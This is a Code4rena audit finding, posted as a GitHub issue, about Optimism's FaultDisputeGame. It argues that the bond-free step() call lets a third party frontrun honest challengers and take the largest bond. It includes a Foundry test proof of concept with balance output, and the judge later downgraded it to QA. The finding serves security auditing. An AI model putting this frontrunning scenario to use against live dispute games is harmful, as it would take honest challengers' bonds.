code-423n4 / 2024-07-optimism-findings

3 stars 0 forks source link

Stepping without risk opens up MEV #106

Open howlbot-integration[bot] opened 4 months ago

howlbot-integration[bot] commented 4 months ago

Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L234-L312

Vulnerability details

Description

People can call step() to do a MIPS step on-chain to close a game when it hits MAX_DEPTH:

    function step(
        uint256 _claimIndex,
        bool _isAttack,
        bytes calldata _stateData,
        bytes calldata _proof
    )
        public
        virtual
    {
        /*/ snip /*/
    }

The problem is that, unlike the regular move() calls, stepping does not require a person to put up a bond.

This opens up the following attack.

Proof of Concept

If we take a look at the Optimism Docs:

This shows that there is a lot of incentive for MEV to MEV the step function call.

Consider the following scenario:

Run the following PoC inside FaultDisputeGame.t.sol:

    function test_charlie_frontrun() public {
        address alice = makeAddr("alice");
        vm.deal(alice, 1000 ether);

        address bob = makeAddr("bob");
        vm.deal(bob, 1000 ether);

        address charlie = makeAddr("charlie");
        vm.deal(charlie, 1000 ether);

        uint256 alice_balance_before = alice.balance;
        uint256 bob_balance_before = bob.balance;
        uint256 charlie_balance_before = charlie.balance;
        console.log("Alice balance before: %d", alice_balance_before);
        console.log("Bob balance before: %d", bob_balance_before);
        console.log("Charlie balance before: %d", charlie_balance_before);

        // Give the test contract some ether
        vm.deal(address(this), 1000 ether);

        // ALice attacks
        vm.startPrank(alice);
        (,,,, Claim disputed,,) = gameProxy.claimData(0);
        gameProxy.attack{ value: _getRequiredBond(0) }(disputed, 0, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(1);
        gameProxy.attack{ value: _getRequiredBond(1) }(disputed, 1, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(2);
        gameProxy.attack{ value: _getRequiredBond(2) }(disputed, 2, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(3);
        gameProxy.attack{ value: _getRequiredBond(3) }(disputed, 3, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(4);
        gameProxy.attack{ value: _getRequiredBond(4) }(disputed, 4, _changeClaimStatus(_dummyClaim(), VMStatuses.PANIC));
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(5);
        gameProxy.attack{ value: _getRequiredBond(5) }(disputed, 5, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(alice);
        (,,,, disputed,,) = gameProxy.claimData(6);
        gameProxy.attack{ value: _getRequiredBond(6) }(disputed, 6, _dummyClaim());
        vm.stopPrank();

        vm.startPrank(bob);
        (,,,, disputed,,) = gameProxy.claimData(7);
        gameProxy.attack{ value: _getRequiredBond(7) }(disputed, 7, _dummyClaim());
        vm.stopPrank();

        (,,,, disputed,,) = gameProxy.claimData(8);
        gameProxy.addLocalData(LocalPreimageKey.DISPUTED_L2_BLOCK_NUMBER, 8, 0);
        vm.prank(charlie);
        gameProxy.step(8, true, absolutePrestateData, hex"");

        uint256 alice_balance_after = alice.balance;
        uint256 bob_balance_after = bob.balance;
        uint256 charlie_balance_after = charlie.balance;
        console.log("Alice balance after: %d", alice_balance_after);
        console.log("Bob balance after: %d", bob_balance_after);
        console.log("Charlie balance after: %d", charlie_balance_after);

        vm.warp(block.timestamp + 100 days);
        // Now resolve other claims and see what happens.

        // Resolve all claims
        gameProxy.resolveClaim(8, 0);
        gameProxy.resolveClaim(7, 0);
        gameProxy.resolveClaim(6, 0);
        gameProxy.resolveClaim(5, 0);
        gameProxy.resolveClaim(4, 0);
        gameProxy.resolveClaim(3, 0);
        gameProxy.resolveClaim(2, 0);
        gameProxy.resolveClaim(1, 0);
        gameProxy.resolveClaim(0, 0);
        gameProxy.resolve();
        vm.warp(block.timestamp + 100 days);
        gameProxy.claimCredit(alice);
        gameProxy.claimCredit(charlie);

        uint256 alice_balance_claim = alice.balance;
        uint256 bob_balance_claim = bob.balance;
        uint256 charlie_balance_claim = charlie.balance;
        console.log("Alice balance claim: %d", alice_balance_claim);
        console.log("Bob balance claim: %d", bob_balance_claim);
        console.log("Charlie balance claim: %d", charlie_balance_claim);
    }

The output:

  Alice balance before: 1000000000000000000000
  Bob balance before: 1000000000000000000000
  Charlie balance before: 1000000000000000000000

  Alice balance after: 967619156200000000000
  Bob balance after: 925925142600000000000
  Charlie balance after: 1000000000000000000000

  Alice balance claim: 1014074857600000000000
  Bob balance claim: 925925142600000000000
  Charlie balance claim: 1059999999800000000000

This means that calculating the step for honest-challengers is futile, they will not be able to execute it on-chain because they will be frontran. Computer resources will be wasted and the biggest single bond claim will never be able to be claimed by the honest-challenger.

The common reply is to use Flashbots but this is far from a safe-heaven to always land your transaction and should never be relied upon to elevate MEV.

Recommended Mitigation Steps

Reconsider the way a step function can be invoked.

Assessed type

Other

c4-judge commented 3 months ago

zobront changed the severity to QA (Quality Assurance)

c4-judge commented 3 months ago

zobront marked the issue as grade-b